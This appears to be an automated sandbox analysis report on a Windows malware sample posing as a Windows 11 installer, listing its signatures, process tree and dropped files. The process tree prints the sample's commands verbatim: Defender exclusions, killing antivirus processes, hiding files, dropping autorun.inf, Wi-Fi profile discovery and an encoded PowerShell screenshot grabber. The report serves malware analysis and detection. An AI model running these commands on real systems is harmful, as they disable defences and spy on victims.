Analysis

  • max time kernel
    150s
  • max time network
    130s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 23:48

General

  • Target
    5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
  • Size 10.8MB
  • Sample260817-3twa3ssvhs
  • SHA256 5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Drops autorun.inf file 1 TTPs 2 IoCs

    Malware can abuse Windows Autorun to spread further via attached volumes.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Kills process with taskkill 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
    "C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe"
    1⤵
    • Adds Run key to start application
    • Drops autorun.inf file
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2756
    • C:\Windows\SysWOW64\cmd.exe
      cmd /C "attrib +s +h C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6060
      • C:\Windows\SysWOW64\attrib.exe
        attrib +s +h C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
        3⤵
        • Sets file to hidden
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:4332
    • C:\Windows\SysWOW64\attrib.exe
      attrib +h +s F:\autorun.inf
      2⤵
      • Drops autorun.inf file
      • System Location Discovery: System Language Discovery
      • Views/modifies file attributes
      PID:4604
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5056
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1072
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5pcz3z0e\5pcz3z0e.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1984
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9948.tmp" "c:\Users\Admin\AppData\Local\Temp\5pcz3z0e\CSC5AB7F44A4B5D4C27979CC22E2A4CE31B.TMP"
          4⤵
            PID:2672
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s F:\Windows11InstallationAssistant.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:4076
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Drivers\Keyboard.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:5820
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        wmic os get Caption
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2344
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /F /IM MsMpEng.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        PID:5216
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /F /IM avastsvc.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        PID:2392
      • C:\Windows\SysWOW64\netsh.exe
        netsh wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:1192
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /F /IM avguard.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        PID:3652
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /F /IM avgnt.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        PID:4672
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /F /IM mcshield.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        PID:4228
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /F /IM mbamservice.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        PID:3360

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 21KB
          • SHA256 5b7b2453914d2a2f4e76e9bcbbbe209165f02768ca363b63d82d88fc7fd9875f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Display (1).png

          • Path C:\Users\Admin\AppData\Local\Temp\09M9t7ViPg\Display (1).png
          • Size 541KB
          • SHA256 39186f538f55c35c2a1adf2c43dd38e83ab3e9ae10dc7c3b9d1b4992db8bd35b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          5pcz3z0e.dll

          • Path C:\Users\Admin\AppData\Local\Temp\5pcz3z0e\5pcz3z0e.dll
          • Size 4KB
          • SHA256 c2a97666e9a6ba909c0e16835f3a50187aa4ff3c7db850a667d8953941cdc652
          • MD5 SHA1 SHA512 TLSH

          RES9948.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES9948.tmp
          • Size 1KB
          • SHA256 7f8c831aa9781867efb2f319b1a4cc8ce8681e2784c50c6349e1520d2ea9abf6
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_s34jiuhn.4iw.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s34jiuhn.4iw.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          Windows11InstallationAssistant.exe

          • Path F:\Windows11InstallationAssistant.exe
          • Size 10.8MB
          • SHA256 5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662
          • MD5 SHA1 SHA512 SSDEEP TLSH

          autorun.inf

          • Path F:\autorun.inf
          • Size 91B
          • SHA256 4007247521367cf4b29bfdddd2eb197aeaec325eafa745fbea6a59f880f8e948
          • MD5 SHA1 SHA512 TLSH

          5pcz3z0e.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\5pcz3z0e\5pcz3z0e.0.cs
          • Size 1004B
          • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
          • MD5 SHA1 SHA512 TLSH

          5pcz3z0e.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\5pcz3z0e\5pcz3z0e.cmdline
          • Size 607B
          • SHA256 9f8b01037968abcbee06100b934e13daa309cf58ec636e00bdf4ec2f8e0bd088
          • MD5 SHA1 SHA512 TLSH

          CSC5AB7F44A4B5D4C27979CC22E2A4CE31B.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\5pcz3z0e\CSC5AB7F44A4B5D4C27979CC22E2A4CE31B.TMP
          • Size 652B
          • SHA256 aa0a787f9631aae4e5eed8f9b5e3978a9dda7c6ac3609f6ab6b7ded3db5d9421
          • MD5 SHA1 SHA512 TLSH

          memory/1072-49-0x00000000048E0000-0x00000000048E8000-memory.dmp

          memory/1072-33-0x0000000006E50000-0x0000000006EE2000-memory.dmp

          memory/1072-13-0x0000000074360000-0x0000000074B1C000-memory.dmp

          memory/1072-12-0x0000000074360000-0x0000000074B1C000-memory.dmp

          memory/1072-52-0x0000000074360000-0x0000000074B1C000-memory.dmp

          memory/1072-34-0x0000000007EF0000-0x00000000084AA000-memory.dmp

          memory/1072-25-0x00000000072B0000-0x000000000792C000-memory.dmp

          memory/1072-8-0x0000000004E60000-0x00000000054AA000-memory.dmp

          memory/1072-7-0x0000000074360000-0x0000000074B1C000-memory.dmp

          memory/1072-30-0x0000000006020000-0x000000000603A000-memory.dmp

          memory/5056-31-0x00000000072A0000-0x00000000072C0000-memory.dmp

          memory/5056-26-0x0000000007260000-0x0000000007296000-memory.dmp

          memory/5056-32-0x00000000072D0000-0x0000000007373000-memory.dmp

          memory/5056-27-0x0000000070C60000-0x0000000070CAC000-memory.dmp

          memory/5056-24-0x00000000063D0000-0x000000000641C000-memory.dmp

          memory/5056-23-0x0000000005130000-0x000000000514E000-memory.dmp

          memory/5056-21-0x0000000005DB0000-0x000000000610B000-memory.dmp

          memory/5056-40-0x0000000007670000-0x000000000767A000-memory.dmp

          memory/5056-16-0x0000000005D40000-0x0000000005DA6000-memory.dmp

          memory/5056-45-0x0000000007870000-0x0000000007906000-memory.dmp

          memory/5056-15-0x0000000005CD0000-0x0000000005D36000-memory.dmp

          memory/5056-14-0x0000000005540000-0x0000000005562000-memory.dmp

          memory/5056-10-0x0000000074360000-0x0000000074B1C000-memory.dmp

          memory/5056-9-0x0000000074360000-0x0000000074B1C000-memory.dmp

          memory/5056-6-0x0000000002A50000-0x0000000002A86000-memory.dmp

          memory/5056-3-0x0000000074372000-0x0000000074373000-memory.dmp

          memory/5056-56-0x0000000074360000-0x0000000074B1C000-memory.dmp